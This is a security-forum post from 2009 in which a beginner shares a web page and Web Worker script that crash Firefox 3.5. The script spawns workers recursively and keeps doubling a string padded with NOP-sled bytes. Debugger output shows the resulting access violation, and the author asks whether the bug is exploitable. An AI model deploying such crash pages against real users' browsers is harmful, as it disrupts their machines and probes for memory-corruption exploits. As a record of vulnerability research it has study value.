sla.ckers.org web application security forum :: DoS :: Firefox 3.5 JS Web Worker DoS

Firefox 3.5 JS Web Worker DoS - Debug Help

Posted by: malloci (IP Logged)

Date: August 27, 2009 04:34PM

Hello Sla.ckers,

This is my first post so please take it easy on me, I'm still learning. I have a question regarding debugging firefox. I have loaded the symbols from the symbol server and have some debug output; however, I am not sure what I am looking at. I am curious if this code might lead to a possible exploit? I have read a little on the recent heap spray and buffer overflow exploits on firefox and was thinking this might be along those lines. Once again I am a newbie, so if you could point me in the right direction to research I would appreciate it. My code:

index.html
-------------------------------------------
<!DOCTYPE HTML>
<html>
<head>
<title>DOS</title>
</head>
<body>
<p><h1>Please Wait, while I CRASH your Browser; it should not take long :)...</h1>:</p><div id="result"></div>

<script type="text/javascript">

var worker = new Worker("workCRASH.js");
// Watch for messages from the worker
worker.onmessage = function(event)
{
// The message from the client:
document.getElementById("result").textContent = event.data;
};
var buf = unescape("AAAAAAAAAAAAAAAAAA%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");
worker.postMessage(buf);

</script>
</body>
</html>

workCRASH.js
-------------------------------------------------
onmessage = function(event){

var worker = new Worker("workCRASH.js");
worker.onmessage = function(event)
{
worker.postMessage(event.data.concat(event.data));
postMessage(event.data.concat(event.data));
};
worker.postMessage(event.data.concat(event.data));
postMessage(event.data.concat(event.data));

}

WinDbg Debug
-------------------------------------------
(1380.1234): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00000000`77874ea0 cc int 3
0:018> g
(1380.1574): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
xul!XPCNativeSet::Mark:
00000000`70f978e6 0fb74602 movzx eax,word ptr [esi+2] ds:002b:00000000`00000006=????

------------ Disassembly -------------------------------
xul!XPCNativeSet::Mark:
572 xpcinlines.h 00000000`70f978e6 0fb74602 movzx eax,word ptr [esi+2] ds:002b:00000000`00000006=????
573 xpcinlines.h 00000000`70f978ea 6685c0 test ax,ax

---------- VS Debug --------------

--- e:\builds\moz2_slave\win32_build\build\obj-firefox\dist\include\xpcom\nscomptr.h
64C578C2 56 push esi
64C578C3 8B F1 mov esi,ecx
64C578C5 8B 06 mov eax,dword ptr [esi]
64C578C7 83 26 00 and dword ptr [esi],0
64C578CA 85 C0 test eax,eax
64C578CC 74 06 je nsCOMPtr<nsIXPConnectJSObjectHolder>::StartAssignment+12h (64C578D4h)
64C578CE 8B 08 mov ecx,dword ptr [eax]
64C578D0 50 push eax
64C578D1 FF 51 08 call dword ptr [ecx+8]
64C578D4 8B C6 mov eax,esi
64C578D6 5E pop esi
64C578D7 C3 ret
64C578D8 56 push esi
64C578D9 6A 00 push 0
64C578DB 8B F1 mov esi,ecx
64C578DD E8 DE C6 E5 FF call nsCOMPtr_base::nsCOMPtr_base (64AB3FC0h)
64C578E2 8B C6 mov eax,esi
64C578E4 5E pop esi
64C578E5 C3 ret
--- e:\builds\moz2_slave\win32_build\build\js\src\xpconnect\src\xpcinlines.h ---
64C578E6 0F B7 46 02 movzx eax,word ptr [esi+2]
64C578EA 66 85 C0 test ax,ax
64C578ED 78 1E js XPCNativeSet::Mark+27h (64C5790Dh)
64C578EF 8D 56 04 lea edx,[esi+4]
64C578F2 0F B7 C8 movzx ecx,ax
64C578F5 EB 0C jmp XPCNativeSet::Mark+1Dh (64C57903h)
64C578F7 8B 02 mov eax,dword ptr [edx]
64C578F9 66 81 48 08 00 80 or word ptr [eax+8],8000h

The thread 'Win32 Thread' (0x17b4) has exited with code 0 (0x0).
Unhandled exception at 0x64c578e6 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x00000006.
First-chance exception at 0x64c578e6 (xul.dll) in firefox.exe: 0xC0000005: Access violation reading location 0x00000006.

Sorry for the long post... Just trying to learn here.

Thanks for the help and input.

Malloc(i)

Options: Reply To This Message•Quote This Message